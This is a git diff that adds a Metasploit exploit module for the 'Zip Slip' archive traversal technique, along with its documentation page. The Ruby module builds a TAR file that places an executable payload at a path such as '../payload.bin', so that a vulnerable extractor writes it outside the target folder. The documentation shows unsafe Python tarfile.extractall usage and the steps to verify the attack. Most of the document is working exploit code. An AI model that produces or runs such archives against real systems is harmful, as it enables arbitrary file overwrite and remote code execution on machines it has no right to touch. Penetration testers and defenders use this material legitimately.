diff --git a/documentation/modules/exploit/multi/fileformat/zip_slip.md b/documentation/modules/exploit/multi/fileformat/zip_slip.md
new file mode 100644
index 0000000000..ed15a84779
--- /dev/null
+++ b/documentation/modules/exploit/multi/fileformat/zip_slip.md
@@ -0,0 +1,37 @@
+## Description
+
+This is a generic arbitrary file overwrite technique, which typically results in remote command execution. This targets a simple yet widespread vulnerability that has been seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc. The idea is that often archive extraction libraries have no mitigations against directory traversal attacks. If an application uses it, there is a risk when opening an archive that is maliciously modified, and result in the embedded payload being written to an arbitrary location (such as a web root), and result in remote code execution.
+
+## Vulnerable Application
+
+Since this is a generic module, it does not target a specific application. However, what it targets is potentially unsafe TAR extraction libraries, so if you happen to notice that, then you can consider using this.
+
+For example, let's say you have a Python library that has code that can extract a TAR file like this:
+
+```python
+import tarfile
+t = tarfile.open('example.tar')
+t.extractall()
+```
+
+The above will extract a TAR file, but the `extractall` function does not have any protection (especially against directory traversal attacks), so it's dangerous.
+
+An example that is safe from the attack is the `tar` command, for example:
+
+```
+$ tar -xf msf.tar 
+../payload.bin: Path contains '..'
+tar: Error exit delayed from previous errors.
+```
+
+## Verification Steps
+
+1. Save the above Python script
+2. Generate the malicious TAR file
+3. Run Python on the TAR file:
+
+```python
+import tarfile
+t = tarfile.open('example.tar')
+t.extractall()
+```
diff --git a/modules/exploits/multi/fileformat/zip_slip.rb b/modules/exploits/multi/fileformat/zip_slip.rb
new file mode 100644
index 0000000000..c8aa354b5d
--- /dev/null
+++ b/modules/exploits/multi/fileformat/zip_slip.rb
@@ -0,0 +1,112 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'rex/zip'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ManualRanking
+
+  include Msf::Exploit::FILEFORMAT
+  include Msf::Exploit::EXE
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Generic Zip Slip Traversal Vulnerability",
+      'Description'    => %q{
+        This is a generic arbitrary file overwrite technique, which typically results in remote
+        command execution. This targets a simple yet widespread vulnerability that has been
+        seen affecting a variety of popular products including HP, Amazon, Apache, Cisco, etc.
+        The idea is that often archive extraction libraries have no mitigations against
+        directory traversal attacks. If an application uses it, there is a risk when opening an
+        archive that is maliciously modified, and result in the embedded payload to be written
+        to an arbitrary location (such as a web root), and result in remote code execution.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'Snyk',  # Technique discovery
+          'sinn3r' # Metasploit
+        ],
+      'References'     =>
+        [
+          ['URL', 'https://snyk.io/research/zip-slip-vulnerability']
+        ],
+      'DefaultOptions'  =>
+        {
+          'EXITFUNC' => 'thread',
+          'DisablePayloadHandler' => true
+        },
+      'Platform'       => ['linux', 'win', 'unix'],
+      'Targets'        =>
+        [
+          ['Manually determined', {}]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => "Jun 05 2018"
+    ))
+
+    register_options([
+      OptString.new('FILENAME', [true, 'The tar file (tar)', 'msf.tar']),
+      OptString.new('TARGETPAYLOADPATH', [true, 'The targeted path for payload', '../payload.bin'])
+    ])
+  end
+
+  class ZipSlipArchive
+    attr_reader :data
+    attr_reader :fname
+    attr_reader :payload
+
+    def initialize(n, p)
+      @fname = n
+      @payload = p
+      @data = make
+    end
+
+    def make
+      data = ''
+      path = Rex::FileUtils.normalize_unix_path(fname)
+      tar = StringIO.new
+      Rex::Tar::Writer.new(tar) do |t|
+        t.add_file(path, 0777) do |f|
+          f.write(payload)
+        end
+      end
+      tar.seek(0)
+      data = tar.read
+      tar.close
+      data
+    end
+  end
+
+  def make_tar(target_payload_path)
+    elf = generate_payload_exe(code: payload.encoded)
+    archive = ZipSlipArchive.new(target_payload_path, generate_payload_exe)
+    archive.make
+  end
+
+  def exploit
+    target_payload_path = datastore['TARGETPAYLOADPATH']
+    unless target_payload_path.match(/\.\.\//)
+      print_error('Please set a traversal path')
+      return
+    end
+
+    tar = make_tar(target_payload_path)
+    file_create(tar)
+    print_status('When extracted, the payload is expected to extract to:')
+    print_status(target_payload_path)
+  end
+end
+
+=begin
+A quick test:
+
+$ python
+>>> import tarfile
+>>> t = tarfile.open('test.tar')
+>>> t.extractall()
+>>> exit()
+
+=end